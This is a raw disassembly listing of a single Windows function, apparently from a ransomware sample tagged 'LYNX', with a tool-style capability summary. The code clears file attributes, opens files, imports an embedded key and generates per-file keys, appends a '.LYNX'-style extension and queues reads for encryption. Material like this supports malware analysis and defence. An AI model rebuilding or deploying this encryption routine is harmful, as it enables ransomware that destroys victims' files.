Function at 0x405880
Capabilities:
Get file attributes
Get file size
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1e4
mov eax, dword [0x429004]
xor eax, esp
mov dword [esp + 0x1e0], eax
push ebx
push esi
push edi
mov edi, ecx
push edi
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 0xfffffffe
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, edi
call fcn.00406ff0
test al, al
jne 0x4058fc
cmp byte [0x42a338], al
je 0x4058de
mov ecx, edi
call fcn.00405f90
cmp al, 1
jne 0x4058de
mov ecx, edi
call fcn.00406ff0
test al, al
jne 0x4058fc
mov ecx, edi
call fcn.004061b0
cmp al, 1
jne 0x405d3f
mov ecx, edi
call fcn.00406ff0
test al, al
je 0x405d3f
push 0
push 0x40000080
push 3
push 0
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x1c], ebx
cmp ebx, 0xffffffff
je 0x405d3f
lea eax, [esp + 0xe0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0xe0]
or eax, dword [esp + 0xe4]
jne 0x40595f
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1e0]
xor ecx, esp
call fcn.00409a70
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x170
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
push 0x170
push 0
push eax
mov dword [esp + 0x20], eax
call fcn.0040ad30
add esp, 0xc
lea eax, [esp + 0x60]
push 0x74
push 0
push eax
call fcn.0040ad30
add esp, 0xc
lea eax, [esp + 0x24]
push 0x3c
push 0
push eax
call fcn.0040ad30
add esp, 0xc
mov byte [esp + 0x24], 9
lea eax, [esp + 0xdc]
mov dword [esp + 0x3d], 0
xorps xmm0, xmm0
mov word [esp + 0x41], 0
lea ecx, [esp + 0x10]
movq qword [esp + 0x35], xmm0
push eax
push str.UfzGLCpfsovLqzNKF_d5AkrkC9J6dtMl3PUApvbs70U
movups xmmword [esp + 0x2d], xmm0
mov byte [esp + 0x4b], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0xe4], 0
call fcn.00401370
mov dword [esp + 0x44], eax
test eax, eax
jne 0x405a67
cmp byte [0x42a33b], al
je 0x405d3f
push eax
push 0x80
lea eax, [esp + 0xf0]
push eax
push 0x409
push dword [esp + 0x20]
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0xe8]
push eax
push str.____Error_while_importing_key:__s
call fcn.00401330
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1e0]
xor ecx, esp
call fcn.00409a70
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x24]
call fcn.00407120
test al, al
jne 0x405acf
cmp byte [0x42a33b], al
je 0x405d3f
push 0
push 0x80
lea eax, [esp + 0xf0]
push eax
push 0x409
push dword [esp + 0x58]
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0xe8]
push eax
push str.____Error_while_generating_file_key:__s
call fcn.00401330
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1e0]
xor ecx, esp
call fcn.00409a70
mov esp, ebp
pop ebp
ret
push 0x10
push 0
call ebx
push eax
call esi
push 0x10
push 0
mov dword [esp + 0x18], eax
call ebx
push eax
call esi
mov ecx, eax
mov edx, dword [esp + 0x58]
mov eax, dword [esp + 0x4c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 2
push edi
movups xmm0, xmmword [eax]
mov dword [esp + 0xe4], ecx
movups xmmword [esp + 0x68], xmm0
movups xmm0, xmmword [eax + 0x10]
mov eax, dword [esp + 0x64]
movups xmmword [esp + 0x78], xmm0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x88], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [esp + 0x98], xmm0
movups xmm0, xmmword [eax + 0x20]
movups xmmword [esp + 0xa8], xmm0
movups xmm0, xmmword [eax + 0x30]
mov eax, dword [esp + 0x18]
movups xmmword [esp + 0xb8], xmm0
movups xmm0, xmmword [edx]
movups xmmword [eax], xmm0
movups xmm0, xmmword [edx + 0x10]
movups xmmword [ecx], xmm0
call ebx
push str.LYNX
lea esi, [eax + 1]
call ebx
xor ecx, ecx
add eax, esi
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.00410584
add esp, 8
mov esi, eax
mov dword [esp + 0x18], esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call edi
push 0x425360
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push str.LYNX
push dword [esp + 0x1c]
call esi
mov esi, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0x38]
call section..text
mov eax, dword [esp + 0xdc]
push 0x426498
movups xmm0, xmmword [eax]
lea eax, [esp + 0xc4]
push eax
movups xmmword [esi + 0xe8], xmm0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xc8], 0xf4240
mov dword [esp + 0xcc], 5
mov dword [esp + 0xd0], 0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], eax
push dword [esp + 0xc8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi + 0x30], eax
mov esi, dword [esp + 0x20]
push 2
push esi
call ebx
xor ecx, ecx
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.00410584
mov ebx, dword [esp + 0x1c]
add esp, 8
push esi
push eax
mov dword [ebx + 0x18], eax
call edi
mov eax, dword [esp + 0x18]
lea edi, [ebx + 0xf8]
mov dword [ebx + 0x1c], eax
lea esi, [esp + 0x60]
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xe4]
mov dword [ebx + 0x24], ecx
mov ecx, 0x1d
mov dword [ebx + 0x20], eax
mov eax, dword [esp + 0x44]
mov dword [ebx + 0x28], 0
mov dword [ebx + 0x2c], 0
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebx + 0x34], 2
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x405cb0
push eax
push 0
call ebx
push eax
call esi
mov eax, dword [esp + 0x50]
test eax, eax
je 0x405cc0
push eax
push 0
call ebx
push eax
call esi
push dword [esp + 0x4c]
push 0
call ebx
push eax
call esi
push dword [esp + 0x5c]
push 0
call ebx
push eax
call esi
mov eax, dword [esp + 0x54]
test eax, eax
je 0x405ce6
push eax
push 0
call ebx
push eax
call esi
push dword [esp + 0x58]
push 0
call ebx
push eax
call esi
push dword [esp + 0x10]
push 0
call ebx
push eax
call esi
push dword [esp + 0xdc]
push 0
call ebx
push eax
call esi
mov eax, dword [esp + 0x1c]
push 0
push eax
push dword [0x42a334]
push eax
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov eax, dword [esp + 0x14]
push eax
push 0
push dword [esp + 0xd0]
push dword [eax + 0x30]
push dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
lock inc dword [0x42a330]
mov ecx, dword [esp + 0x1ec]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00409a70
mov esp, ebp
pop ebp
ret